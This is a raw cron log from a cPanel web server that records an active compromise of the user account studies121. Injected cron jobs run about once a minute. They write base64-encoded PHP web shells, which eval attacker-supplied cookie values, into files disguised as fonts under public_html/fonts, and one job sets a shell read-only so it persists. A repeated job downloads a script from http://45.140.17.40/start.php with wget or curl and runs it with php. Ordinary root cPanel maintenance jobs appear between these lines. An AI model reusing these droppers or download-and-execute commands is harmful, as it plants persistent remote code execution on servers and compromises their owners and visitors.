Sep  8 22:19:01 ip-184-168-122-23 CROND[432]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 22:20:01 ip-184-168-122-23 CROND[533]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 22:20:01 ip-184-168-122-23 CROND[536]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  8 22:20:01 ip-184-168-122-23 CROND[535]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 22:20:01 ip-184-168-122-23 CROND[541]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 22:20:01 ip-184-168-122-23 CROND[537]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  8 22:20:01 ip-184-168-122-23 CROND[538]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 22:20:02 ip-184-168-122-23 CROND[543]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 22:20:02 ip-184-168-122-23 CROND[540]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 22:20:02 ip-184-168-122-23 CROND[544]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 22:21:01 ip-184-168-122-23 CROND[661]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 22:21:01 ip-184-168-122-23 CROND[659]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 22:21:01 ip-184-168-122-23 CROND[660]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 22:21:01 ip-184-168-122-23 CROND[662]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 22:22:01 ip-184-168-122-23 CROND[751]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 22:22:01 ip-184-168-122-23 CROND[752]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 22:22:01 ip-184-168-122-23 CROND[756]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 22:22:01 ip-184-168-122-23 CROND[757]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 22:22:01 ip-184-168-122-23 CROND[759]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 22:23:01 ip-184-168-122-23 CROND[839]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 22:23:01 ip-184-168-122-23 CROND[840]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 22:23:01 ip-184-168-122-23 CROND[842]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 22:23:01 ip-184-168-122-23 CROND[841]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 22:24:01 ip-184-168-122-23 CROND[939]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 22:24:01 ip-184-168-122-23 CROND[941]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 22:24:01 ip-184-168-122-23 CROND[943]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 22:24:01 ip-184-168-122-23 CROND[944]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 22:24:01 ip-184-168-122-23 CROND[947]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 22:25:01 ip-184-168-122-23 CROND[1039]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 22:25:01 ip-184-168-122-23 CROND[1044]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 22:25:01 ip-184-168-122-23 CROND[1045]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 22:25:01 ip-184-168-122-23 CROND[1042]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Sep  8 22:25:01 ip-184-168-122-23 CROND[1043]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 22:25:01 ip-184-168-122-23 CROND[1046]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 22:25:01 ip-184-168-122-23 CROND[1041]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 22:26:01 ip-184-168-122-23 CROND[1219]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 22:26:01 ip-184-168-122-23 CROND[1222]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 22:26:01 ip-184-168-122-23 CROND[1220]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 22:26:01 ip-184-168-122-23 CROND[1223]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 22:26:01 ip-184-168-122-23 CROND[1221]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 22:27:02 ip-184-168-122-23 CROND[1333]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 22:27:02 ip-184-168-122-23 CROND[1334]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 22:27:02 ip-184-168-122-23 CROND[1335]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 22:27:02 ip-184-168-122-23 CROND[1336]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 22:28:01 ip-184-168-122-23 CROND[1453]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 22:28:01 ip-184-168-122-23 CROND[1454]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 22:28:01 ip-184-168-122-23 CROND[1457]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 22:28:01 ip-184-168-122-23 CROND[1458]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 22:28:01 ip-184-168-122-23 CROND[1456]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 22:29:01 ip-184-168-122-23 CROND[1543]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 22:29:01 ip-184-168-122-23 CROND[1545]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 22:29:01 ip-184-168-122-23 CROND[1544]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 22:29:01 ip-184-168-122-23 CROND[1546]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 22:30:01 ip-184-168-122-23 CROND[1639]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 22:30:01 ip-184-168-122-23 CROND[1642]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 22:30:01 ip-184-168-122-23 CROND[1645]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 22:30:01 ip-184-168-122-23 CROND[1643]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 22:30:01 ip-184-168-122-23 CROND[1641]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  8 22:30:01 ip-184-168-122-23 CROND[1644]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 22:30:01 ip-184-168-122-23 CROND[1646]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 22:30:01 ip-184-168-122-23 CROND[1647]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 22:31:01 ip-184-168-122-23 CROND[1737]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 22:31:01 ip-184-168-122-23 CROND[1739]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 22:31:01 ip-184-168-122-23 CROND[1740]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 22:31:01 ip-184-168-122-23 CROND[1742]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
